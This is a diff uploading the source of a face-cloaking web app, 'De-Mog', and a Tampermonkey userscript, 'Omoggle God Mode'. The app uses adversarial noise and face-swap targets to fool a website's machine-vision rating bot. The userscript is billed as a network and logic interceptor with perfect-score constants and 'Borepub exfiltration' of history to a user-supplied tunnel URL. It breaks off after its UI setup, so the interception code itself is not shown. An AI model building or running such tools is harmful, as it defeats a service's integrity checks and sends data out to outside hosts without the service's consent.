Upload 5 files
Browse files- src/App.tsx +296 -0
- src/index.css +50 -0
- src/main.tsx +10 -0
- src/tampermonkey-ghost.js +200 -0
- src/tunnelConfig.ts +1 -0
src/App.tsx
ADDED
|
@@ -0,0 +1,296 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import React, { useState } from 'react';
|
| 2 |
+
import { Camera, Shield, ShieldCheck, Heart, Info, Box } from 'lucide-react';
|
| 3 |
+
import { motion } from 'motion/react';
|
| 4 |
+
import CameraView from './components/CameraView';
|
| 5 |
+
import MetricRadar from './components/MetricRadar';
|
| 6 |
+
import AuraControl from './components/AuraControl';
|
| 7 |
+
import AutomationFeed from './components/AutomationFeed';
|
| 8 |
+
import OBSViewer from './components/OBSViewer';
|
| 9 |
+
import { TUNNEL_URL } from './tunnelConfig';
|
| 10 |
+
|
| 11 |
+
export default function App() {
|
| 12 |
+
const [cloakEnabled, setCloakEnabled] = useState(false);
|
| 13 |
+
const [cloakIntensity, setCloakIntensity] = useState(30);
|
| 14 |
+
const [cloakMode, setCloakMode] = useState<'obfuscate' | 'refine'>('obfuscate');
|
| 15 |
+
const [sourceType, setSourceType] = useState<'camera' | 'image'>('camera');
|
| 16 |
+
const [testImage, setTestImage] = useState<string | null>(null);
|
| 17 |
+
const [targetImage, setTargetImage] = useState<string | null>(null);
|
| 18 |
+
const [mobileTab, setMobileTab] = useState<'feed' | 'controls' | 'metrics'>('feed');
|
| 19 |
+
const [metrics, setMetrics] = useState<any>({
|
| 20 |
+
native: { symmetry: 34, eyes: -0.8, jawline: 0.6, midface: 0.44, cheekbones: 1.2, eyeAspect: 0.34, harmony: 7, overall: 5 },
|
| 21 |
+
cloaked: { symmetry: 34, eyes: -0.8, jawline: 0.6, midface: 0.44, cheekbones: 1.2, eyeAspect: 0.34, harmony: 7, overall: 5 }
|
| 22 |
+
});
|
| 23 |
+
const [isBroadcasting, setIsBroadcasting] = useState(false);
|
| 24 |
+
|
| 25 |
+
// OBS / Virtual Camera Routing logic
|
| 26 |
+
const urlParams = new URLSearchParams(window.location.search);
|
| 27 |
+
const isVirtualView = urlParams.get('view') === 'virtual';
|
| 28 |
+
|
| 29 |
+
if (isVirtualView) {
|
| 30 |
+
return <OBSViewer />;
|
| 31 |
+
}
|
| 32 |
+
|
| 33 |
+
const baseUrl = TUNNEL_URL || window.location.origin;
|
| 34 |
+
const virtualCamUrl = `${baseUrl}${window.location.pathname}?view=virtual`;
|
| 35 |
+
|
| 36 |
+
const handleFileUpload = (e: React.ChangeEvent<HTMLInputElement>) => {
|
| 37 |
+
const file = e.target.files?.[0];
|
| 38 |
+
if (file) {
|
| 39 |
+
const reader = new FileReader();
|
| 40 |
+
reader.onload = (event) => {
|
| 41 |
+
setTestImage(event.target?.result as string);
|
| 42 |
+
setSourceType('image');
|
| 43 |
+
};
|
| 44 |
+
reader.readAsDataURL(file);
|
| 45 |
+
}
|
| 46 |
+
};
|
| 47 |
+
|
| 48 |
+
const handleTargetUpload = (e: React.ChangeEvent<HTMLInputElement>) => {
|
| 49 |
+
const file = e.target.files?.[0];
|
| 50 |
+
if (file) {
|
| 51 |
+
const reader = new FileReader();
|
| 52 |
+
reader.onload = (event) => setTargetImage(event.target?.result as string);
|
| 53 |
+
reader.readAsDataURL(file);
|
| 54 |
+
}
|
| 55 |
+
};
|
| 56 |
+
|
| 57 |
+
return (
|
| 58 |
+
<div className="h-[100dvh] bg-bg-primary text-[#e0e0e0] flex flex-col overflow-hidden font-sans">
|
| 59 |
+
{/* Header */}
|
| 60 |
+
<header className="h-16 border-b border-white/10 flex items-center justify-between px-4 md:px-8 bg-bg-secondary shrink-0">
|
| 61 |
+
<div className="flex items-center gap-4">
|
| 62 |
+
<div className="w-3 h-3 bg-aura-500 rounded-full shadow-[0_0_8px_#00FF9C]"></div>
|
| 63 |
+
<h1 className="font-serif italic text-lg md:text-xl tracking-wide">
|
| 64 |
+
De-Mog <span className="hidden md:inline text-xs font-mono text-white/40 ml-2">v1.0.4 - Protection Active</span>
|
| 65 |
+
</h1>
|
| 66 |
+
</div>
|
| 67 |
+
|
| 68 |
+
{/* Mobile Tabs */}
|
| 69 |
+
<div className="flex lg:hidden bg-white/5 rounded-lg p-1">
|
| 70 |
+
<button
|
| 71 |
+
onClick={() => setMobileTab('feed')}
|
| 72 |
+
className={`px-3 py-1 font-mono text-[10px] uppercase rounded ${mobileTab === 'feed' ? 'bg-white/10 text-white' : 'text-white/40'}`}
|
| 73 |
+
>
|
| 74 |
+
Feed
|
| 75 |
+
</button>
|
| 76 |
+
<button
|
| 77 |
+
onClick={() => setMobileTab('controls')}
|
| 78 |
+
className={`px-3 py-1 font-mono text-[10px] uppercase rounded ${mobileTab === 'controls' ? 'bg-white/10 text-white' : 'text-white/40'}`}
|
| 79 |
+
>
|
| 80 |
+
Controls
|
| 81 |
+
</button>
|
| 82 |
+
<button
|
| 83 |
+
onClick={() => setMobileTab('metrics')}
|
| 84 |
+
className={`px-3 py-1 font-mono text-[10px] uppercase rounded ${mobileTab === 'metrics' ? 'bg-white/10 text-white' : 'text-white/40'}`}
|
| 85 |
+
>
|
| 86 |
+
Metrics
|
| 87 |
+
</button>
|
| 88 |
+
</div>
|
| 89 |
+
|
| 90 |
+
<div className="hidden lg:flex gap-4 md:gap-6 text-[10px] md:text-[11px] font-mono uppercase tracking-widest text-white/60">
|
| 91 |
+
<span className="hidden sm:inline">Session: 04:12:09</span>
|
| 92 |
+
<span className={cloakEnabled ? "text-aura-500" : "text-white/40"}>
|
| 93 |
+
{cloakEnabled ? "Target Cloaked" : "System Vulnerable"}
|
| 94 |
+
</span>
|
| 95 |
+
</div>
|
| 96 |
+
</header>
|
| 97 |
+
|
| 98 |
+
<main className="flex-1 flex flex-col lg:flex-row overflow-hidden">
|
| 99 |
+
|
| 100 |
+
{/* Left Sidebar: Controls */}
|
| 101 |
+
<aside className={`${mobileTab === 'controls' ? 'flex' : 'hidden'} lg:flex flex-1 min-h-0 lg:flex-none w-full lg:w-72 border-r border-white/10 p-4 md:p-6 flex-col gap-6 bg-bg-tertiary shrink-0 overflow-y-auto`}>
|
| 102 |
+
<section>
|
| 103 |
+
<p className="text-[10px] uppercase tracking-tighter text-white/40 mb-3 font-mono">Source Input</p>
|
| 104 |
+
<div className="flex gap-2 mb-3 bg-white/5 p-1 rounded-lg">
|
| 105 |
+
<button
|
| 106 |
+
onClick={() => setSourceType('camera')}
|
| 107 |
+
className={`flex-1 py-1.5 text-xs font-mono rounded ${sourceType === 'camera' ? 'bg-white/10 text-white' : 'text-white/40 hover:text-white/80'}`}
|
| 108 |
+
>
|
| 109 |
+
Camera
|
| 110 |
+
</button>
|
| 111 |
+
<button
|
| 112 |
+
onClick={() => setSourceType('image')}
|
| 113 |
+
className={`flex-1 py-1.5 text-xs font-mono rounded ${sourceType === 'image' ? 'bg-white/10 text-white' : 'text-white/40 hover:text-white/80'}`}
|
| 114 |
+
>
|
| 115 |
+
Static Image
|
| 116 |
+
</button>
|
| 117 |
+
</div>
|
| 118 |
+
|
| 119 |
+
{sourceType === 'image' && (
|
| 120 |
+
<label className="aspect-square bg-white/5 border border-dashed border-white/20 rounded-lg flex flex-col items-center justify-center p-4 text-center group cursor-pointer hover:border-aura-500/50 transition-colors">
|
| 121 |
+
<input type="file" accept="image/*" onChange={handleFileUpload} className="hidden" />
|
| 122 |
+
{testImage ? (
|
| 123 |
+
<div className="relative w-full h-full p-2 bg-white/5">
|
| 124 |
+
<img src={testImage} alt="Test" className="w-full h-full object-contain rounded" />
|
| 125 |
+
<button
|
| 126 |
+
onClick={(e) => { e.preventDefault(); setTestImage(null); }}
|
| 127 |
+
className="absolute -top-1 -right-1 bg-red-500 text-white w-5 h-5 rounded-full text-[10px] flex items-center justify-center border border-white/20 hover:bg-red-600 transition-colors"
|
| 128 |
+
>
|
| 129 |
+
✕
|
| 130 |
+
</button>
|
| 131 |
+
</div>
|
| 132 |
+
) : (
|
| 133 |
+
<>
|
| 134 |
+
<div className="w-10 h-10 border border-white/10 rounded-full mb-3 flex items-center justify-center group-hover:border-aura-500 transition-colors">
|
| 135 |
+
<Box className="w-4 h-4 text-white/40 group-hover:text-aura-500" />
|
| 136 |
+
</div>
|
| 137 |
+
<p className="text-xs font-serif italic">Upload Source Image</p>
|
| 138 |
+
<p className="text-[9px] text-white/30 mt-2 font-mono italic">Static neural testing</p>
|
| 139 |
+
</>
|
| 140 |
+
)}
|
| 141 |
+
</label>
|
| 142 |
+
)}
|
| 143 |
+
</section>
|
| 144 |
+
|
| 145 |
+
{cloakMode === 'obfuscate' && (
|
| 146 |
+
<section>
|
| 147 |
+
<p className="text-[10px] uppercase tracking-tighter text-white/40 mb-3 font-mono">Target Identity (Obfuscate)</p>
|
| 148 |
+
<label className="aspect-video bg-white/5 border border-dashed border-white/20 rounded-lg flex flex-col items-center justify-center p-4 text-center group cursor-pointer hover:border-aura-500/50 transition-colors">
|
| 149 |
+
<input type="file" accept="image/*" onChange={handleTargetUpload} className="hidden" />
|
| 150 |
+
{targetImage ? (
|
| 151 |
+
<div className="relative w-full h-full p-2 bg-white/5">
|
| 152 |
+
<img src={targetImage} alt="Target" className="w-full h-full object-cover rounded" />
|
| 153 |
+
<button
|
| 154 |
+
onClick={(e) => { e.preventDefault(); setTargetImage(null); }}
|
| 155 |
+
className="absolute -top-1 -right-1 bg-red-500 text-white w-5 h-5 rounded-full text-[10px] flex items-center justify-center border border-white/20 hover:bg-red-600 transition-colors"
|
| 156 |
+
>
|
| 157 |
+
✕
|
| 158 |
+
</button>
|
| 159 |
+
</div>
|
| 160 |
+
) : (
|
| 161 |
+
<>
|
| 162 |
+
<div className="w-8 h-8 border border-white/10 rounded-full mb-2 flex items-center justify-center group-hover:border-aura-500 transition-colors">
|
| 163 |
+
<Box className="w-4 h-4 text-white/40 group-hover:text-aura-500" />
|
| 164 |
+
</div>
|
| 165 |
+
<p className="text-[10px] font-serif italic text-white/60">Upload Face Swap Target</p>
|
| 166 |
+
</>
|
| 167 |
+
)}
|
| 168 |
+
</label>
|
| 169 |
+
</section>
|
| 170 |
+
)}
|
| 171 |
+
|
| 172 |
+
<section>
|
| 173 |
+
<AuraControl
|
| 174 |
+
enabled={cloakEnabled}
|
| 175 |
+
setEnabled={setCloakEnabled}
|
| 176 |
+
intensity={cloakIntensity}
|
| 177 |
+
setIntensity={setCloakIntensity}
|
| 178 |
+
mode={cloakMode}
|
| 179 |
+
setMode={setCloakMode}
|
| 180 |
+
/>
|
| 181 |
+
</section>
|
| 182 |
+
|
| 183 |
+
<section className="bg-white/5 border border-white/10 p-3 rounded space-y-2">
|
| 184 |
+
<div className="flex items-center justify-between">
|
| 185 |
+
<div className="flex items-center gap-2 text-[10px] font-mono text-white/40 uppercase tracking-widest">
|
| 186 |
+
<Camera className="w-3 h-3" />
|
| 187 |
+
<span>Virtual Buffer (bore.pub)</span>
|
| 188 |
+
</div>
|
| 189 |
+
</div>
|
| 190 |
+
<p className="text-[10px] text-white/40 font-mono italic leading-tight">
|
| 191 |
+
Add this tunnel URL to OBS as a Browser Source. The feed is streamed directly from this browser tab, so <strong>keep this tab open and visible</strong> for the stream to stay active.
|
| 192 |
+
</p>
|
| 193 |
+
<input
|
| 194 |
+
readOnly
|
| 195 |
+
value={virtualCamUrl}
|
| 196 |
+
className="w-full bg-black/50 border border-white/10 p-1.5 text-[9px] font-mono text-aura-500 rounded outline-none"
|
| 197 |
+
/>
|
| 198 |
+
<button
|
| 199 |
+
onClick={() => {
|
| 200 |
+
navigator.clipboard.writeText(virtualCamUrl);
|
| 201 |
+
}}
|
| 202 |
+
className="w-full py-1.5 text-[9px] font-mono uppercase tracking-widest bg-aura-500/10 text-aura-500 border border-aura-500/20 hover:bg-aura-500/20 transition-colors rounded"
|
| 203 |
+
>
|
| 204 |
+
Copy Tunnel URL
|
| 205 |
+
</button>
|
| 206 |
+
</section>
|
| 207 |
+
|
| 208 |
+
<button
|
| 209 |
+
onClick={() => setCloakEnabled(!cloakEnabled)}
|
| 210 |
+
className="w-full py-4 bg-white text-black font-serif italic text-sm rounded hover:bg-aura-500 transition-all active:scale-[0.98] shrink-0"
|
| 211 |
+
>
|
| 212 |
+
{cloakEnabled ? 'Deactivate Cloak' : 'Initialize Cloak'}
|
| 213 |
+
</button>
|
| 214 |
+
</aside>
|
| 215 |
+
|
| 216 |
+
{/* Center: Camera Feed */}
|
| 217 |
+
<section className={`${mobileTab === 'feed' ? 'flex' : 'hidden'} lg:flex flex-1 p-4 md:p-8 flex-col gap-6 overflow-hidden bg-black relative`}>
|
| 218 |
+
<div className="relative flex-1 rounded-2xl overflow-hidden border border-white/10 shadow-2xl bg-black">
|
| 219 |
+
<CameraView
|
| 220 |
+
cloakEnabled={cloakEnabled}
|
| 221 |
+
cloakIntensity={cloakIntensity}
|
| 222 |
+
cloakMode={cloakMode}
|
| 223 |
+
testImage={testImage}
|
| 224 |
+
targetImage={targetImage}
|
| 225 |
+
sourceType={sourceType}
|
| 226 |
+
onMetricsUpdate={setMetrics}
|
| 227 |
+
setIsBroadcasting={setIsBroadcasting}
|
| 228 |
+
/>
|
| 229 |
+
|
| 230 |
+
<div className="absolute bottom-6 left-6 md:bottom-8 md:left-8 z-20 pointer-events-none">
|
| 231 |
+
<div className="text-2xl md:text-4xl font-serif italic mb-1 text-white">
|
| 232 |
+
{testImage ? 'Static Buffer' : 'Protected Feed'}
|
| 233 |
+
</div>
|
| 234 |
+
<div className="text-[9px] md:text-[10px] font-mono text-white/50 tracking-tighter">
|
| 235 |
+
{testImage ? 'DIAGNOSTIC STATIC INTERVENTION' : 'ADVFACES CLOAKING ENGINE // REAL-TIME INTERVENTION'}
|
| 236 |
+
</div>
|
| 237 |
+
</div>
|
| 238 |
+
</div>
|
| 239 |
+
</section>
|
| 240 |
+
|
| 241 |
+
{/* Right Sidebar: Metrics */}
|
| 242 |
+
<aside className={`${mobileTab === 'metrics' ? 'flex' : 'hidden'} lg:flex flex-1 min-h-0 lg:flex-none w-full lg:w-80 border-l border-white/10 p-4 md:p-6 bg-bg-tertiary shrink-0 overflow-y-auto flex-col overflow-x-hidden gap-8`}>
|
| 243 |
+
<MetricRadar metrics={metrics} cloakEnabled={cloakEnabled} />
|
| 244 |
+
|
| 245 |
+
<AutomationFeed />
|
| 246 |
+
|
| 247 |
+
<div className="mt-auto pt-8 border-t border-white/5">
|
| 248 |
+
<p className="text-[10px] uppercase tracking-tighter text-white/40 mb-4 font-mono">Bypass Status</p>
|
| 249 |
+
<div className="space-y-3 font-mono text-[10px]">
|
| 250 |
+
<div className="flex gap-3 items-center text-aura-500">
|
| 251 |
+
<span className="w-1.5 h-1.5 rounded-full bg-aura-500 shadow-[0_0_4px_currentColor]"></span>
|
| 252 |
+
<span>MESH COORDINATES JITTERED</span>
|
| 253 |
+
</div>
|
| 254 |
+
<div className={`flex gap-3 items-center transition-colors ${cloakEnabled ? 'text-aura-500' : 'text-white/20'}`}>
|
| 255 |
+
<span className={`w-1.5 h-1.5 rounded-full ${cloakEnabled ? 'bg-aura-500 shadow-[0_0_4px_currentColor]' : 'bg-white/20'}`}></span>
|
| 256 |
+
<span>RATING BOT BYPASSED</span>
|
| 257 |
+
</div>
|
| 258 |
+
</div>
|
| 259 |
+
</div>
|
| 260 |
+
|
| 261 |
+
<div className="mt-8 p-4 border border-aura-500/20 bg-aura-500/5">
|
| 262 |
+
<p className="text-xs font-serif italic text-aura-500 mb-1">Human Perception Check</p>
|
| 263 |
+
<p className="text-[10px] text-white/60 leading-relaxed font-mono">
|
| 264 |
+
Adversarial noise is currently optimized. The face remains natural to human viewers while breaking machine vision models.
|
| 265 |
+
</p>
|
| 266 |
+
</div>
|
| 267 |
+
</aside>
|
| 268 |
+
</main>
|
| 269 |
+
|
| 270 |
+
{/* Mobile Footer Status */}
|
| 271 |
+
<div className="lg:hidden h-10 border-t border-white/10 bg-bg-secondary flex items-center px-4 justify-between">
|
| 272 |
+
<span className="text-[9px] font-mono text-aura-500 uppercase tracking-widest">
|
| 273 |
+
Status: {cloakEnabled ? 'CLOAK_ACTIVE' : 'MONITORING'}
|
| 274 |
+
</span>
|
| 275 |
+
<span className={`text-[9px] font-mono uppercase ${isBroadcasting ? 'text-aura-500' : 'text-white/20'}`}>
|
| 276 |
+
BROADCAST: {isBroadcasting ? 'LIVE' : 'OFFLINE'}
|
| 277 |
+
</span>
|
| 278 |
+
</div>
|
| 279 |
+
|
| 280 |
+
{/* Footer */}
|
| 281 |
+
<footer className="hidden sm:flex h-10 bg-black border-t border-white/5 px-8 items-center justify-between text-[10px] font-mono text-white/30 shrink-0">
|
| 282 |
+
<div className="flex gap-4 items-center">
|
| 283 |
+
<span>ENC_KEY: 88f2-x921-adv-p32</span>
|
| 284 |
+
<span className="w-px h-3 bg-white/10" />
|
| 285 |
+
<span className={isBroadcasting ? 'text-aura-500' : 'text-white/10'}>
|
| 286 |
+
SIGNAL: {isBroadcasting ? 'ACTIVE' : 'OFFLINE'}
|
| 287 |
+
</span>
|
| 288 |
+
</div>
|
| 289 |
+
<div className="flex gap-8 uppercase tracking-widest">
|
| 290 |
+
<span className="hover:text-white cursor-pointer transition-colors">Safety Guidelines</span>
|
| 291 |
+
<span className="hover:text-white cursor-pointer transition-colors text-aura-500 font-bold">AdvFaces Protocol v4</span>
|
| 292 |
+
</div>
|
| 293 |
+
</footer>
|
| 294 |
+
</div>
|
| 295 |
+
);
|
| 296 |
+
}
|
src/index.css
ADDED
|
@@ -0,0 +1,50 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
@import url('https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&family=JetBrains+Mono:wght@400;500&family=Playfair+Display:ital,wght@1,400;1,700&display=swap');
|
| 2 |
+
@import "tailwindcss";
|
| 3 |
+
|
| 4 |
+
@theme {
|
| 5 |
+
--font-sans: "Inter", ui-sans-serif, system-ui, sans-serif;
|
| 6 |
+
--font-mono: "JetBrains Mono", ui-monospace, SFMono-Regular, monospace;
|
| 7 |
+
--font-serif: "Playfair Display", serif;
|
| 8 |
+
|
| 9 |
+
--color-aura-50: #f0fff4;
|
| 10 |
+
--color-aura-100: #dcffe4;
|
| 11 |
+
--color-aura-500: #00FF9C;
|
| 12 |
+
--color-aura-900: #004d2f;
|
| 13 |
+
|
| 14 |
+
--color-bg-primary: #050505;
|
| 15 |
+
--color-bg-secondary: #0a0a0a;
|
| 16 |
+
--color-bg-tertiary: #080808;
|
| 17 |
+
|
| 18 |
+
--color-danger-500: #ef4444;
|
| 19 |
+
--color-success-500: #00FF9C;
|
| 20 |
+
}
|
| 21 |
+
|
| 22 |
+
@layer base {
|
| 23 |
+
body {
|
| 24 |
+
@apply bg-bg-primary text-[#e0e0e0] font-sans antialiased;
|
| 25 |
+
}
|
| 26 |
+
}
|
| 27 |
+
|
| 28 |
+
.terminal-card {
|
| 29 |
+
@apply bg-bg-secondary border border-white/10 backdrop-blur-xl rounded-none overflow-hidden;
|
| 30 |
+
}
|
| 31 |
+
|
| 32 |
+
.glow-aura {
|
| 33 |
+
box-shadow: 0 0 15px -2px rgba(0, 255, 156, 0.4);
|
| 34 |
+
}
|
| 35 |
+
|
| 36 |
+
.scanning-line {
|
| 37 |
+
background: linear-gradient(to bottom, transparent, #00FF9C, transparent);
|
| 38 |
+
height: 1px;
|
| 39 |
+
width: 100%;
|
| 40 |
+
position: absolute;
|
| 41 |
+
top: 0;
|
| 42 |
+
animation: scan 4s linear infinite;
|
| 43 |
+
}
|
| 44 |
+
|
| 45 |
+
@keyframes scan {
|
| 46 |
+
0% { top: 0%; opacity: 0; }
|
| 47 |
+
10% { opacity: 1; }
|
| 48 |
+
90% { opacity: 1; }
|
| 49 |
+
100% { top: 100%; opacity: 0; }
|
| 50 |
+
}
|
src/main.tsx
ADDED
|
@@ -0,0 +1,10 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import {StrictMode} from 'react';
|
| 2 |
+
import {createRoot} from 'react-dom/client';
|
| 3 |
+
import App from './App.tsx';
|
| 4 |
+
import './index.css';
|
| 5 |
+
|
| 6 |
+
createRoot(document.getElementById('root')!).render(
|
| 7 |
+
<StrictMode>
|
| 8 |
+
<App />
|
| 9 |
+
</StrictMode>,
|
| 10 |
+
);
|
src/tampermonkey-ghost.js
ADDED
|
@@ -0,0 +1,200 @@
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
// ==UserScript==
|
| 2 |
+
// @name Omoggle God Mode - GHOST PROTOCOL v4
|
| 3 |
+
// @namespace http://tampermonkey.net/
|
| 4 |
+
// @version 4.5
|
| 5 |
+
// @description Aggressive Network & Logic interceptor with Borepub Exfiltration
|
| 6 |
+
// @author Ghost
|
| 7 |
+
// @match *://*.omoggle.com/*
|
| 8 |
+
// @match *://omoggle.com/*
|
| 9 |
+
// @grant none
|
| 10 |
+
// @run-at document-start
|
| 11 |
+
// ==/UserScript==
|
| 12 |
+
|
| 13 |
+
(function() {
|
| 14 |
+
'use strict';
|
| 15 |
+
|
| 16 |
+
// --- SETTINGS & EXFILTRATION ---
|
| 17 |
+
let isActive = true;
|
| 18 |
+
const PERFECT_SCORE = 10.0;
|
| 19 |
+
const PERFECT_PERCENT = 99.9;
|
| 20 |
+
|
| 21 |
+
// Persist and prompt for Borepub/Webhook URL
|
| 22 |
+
let exfilUrl = localStorage.getItem('ghost_exfil_url') || '';
|
| 23 |
+
|
| 24 |
+
function updateExfilUrl() {
|
| 25 |
+
let newUrl = prompt("Enter Borepub URL for history exfiltration (e.g. https://my-tunnel.bore.pub/hook):", exfilUrl);
|
| 26 |
+
if (newUrl !== null) {
|
| 27 |
+
exfilUrl = newUrl;
|
| 28 |
+
localStorage.setItem('ghost_exfil_url', exfilUrl);
|
| 29 |
+
logMsg("Exfil URL updated to: " + (exfilUrl || "None"));
|
| 30 |
+
}
|
| 31 |
+
}
|
| 32 |
+
|
| 33 |
+
// --- UI CREATION ---
|
| 34 |
+
const container = document.createElement('div');
|
| 35 |
+
container.innerHTML = `
|
| 36 |
+
<div id="ghost-ui" style="position:fixed; top:10px; right:10px; width:260px; background:rgba(10,10,15,0.95); border:1px solid #00f2ff; border-radius:8px; color:white; font-family:monospace; z-index:999999; padding:12px; box-shadow:0 10px 40px rgba(0,0,0,0.5); font-size:11px;">
|
| 37 |
+
<div style="display:flex; justify-content:space-between; align-items:center; margin-bottom:10px; padding-bottom:10px; border-bottom:1px solid #222;">
|
| 38 |
+
<b style="color:#00f2ff; letter-spacing:1px; font-style:italic;">GHOST_V4.5</b>
|
| 39 |
+
<span id="ghost-indicator" style="width:8px; height:8px; background:#00ff88; border-radius:50%; box-shadow:0 0 10px #00ff88;"></span>
|
| 40 |
+
</div>
|
| 41 |
+
|
| 42 |
+
<div style="display:grid; grid-template-cols: 1fr 1fr; gap: 5px; margin-bottom: 10px;">
|
| 43 |
+
<button id="ghost-toggle" style="background:#111; color:#00ff88; border:1px solid #00ff88; border-radius:4px; padding:6px; cursor:pointer; font-size:9px; font-weight:bold;">BYPASS: ON</button>
|
| 44 |
+
